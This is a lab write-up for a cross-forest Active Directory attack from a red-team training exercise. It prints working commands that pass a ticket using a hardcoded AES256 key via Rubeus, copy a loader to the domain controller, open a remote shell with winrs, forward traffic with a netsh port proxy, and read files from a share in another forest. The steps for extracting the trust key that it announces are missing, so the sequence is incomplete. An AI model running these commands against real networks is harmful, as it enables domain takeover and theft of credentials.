Solutions
1 – With DA privileges on dollarcorp.moneycorp.local, get access to SharedwithDCorp share on the DC of eurocorp.local forest

We need the trust key for the trust between dollarcorp and eurocrop, which can be retrieved using Mimikatz or SafetyKatz.

Start a process with DA privileges. Run the below command from an elevated command prompt:

First to all start a process as DA:

C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args asktgt /user:svcadmin /aes256:6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011 /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt

Run the below commands from the process running as DA to copy Loader.exe on dcorp-dc and use it to extract credentials:

echo F | xcopy C:\AD\Tools\Loader.exe \\dcorp-dc\C$\Users\Public\Loader.exe /Y
winrs -r:dcorp-dc cmd
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=172.16.100.67

Once the ticket is injected, we can access explicitly shared resources on eurocorp-dc.

type \\eurocorp-dc.eurocorp.local\SharedwithDCorp\secret.txt
dir \\eurocorp-dc.eurocorp.local\SharedwithDCorp\

Note that the only way to enumerate accessible resources (service on a machine) in eurocorp would be to request a TGS for each one and then attempt to access it.
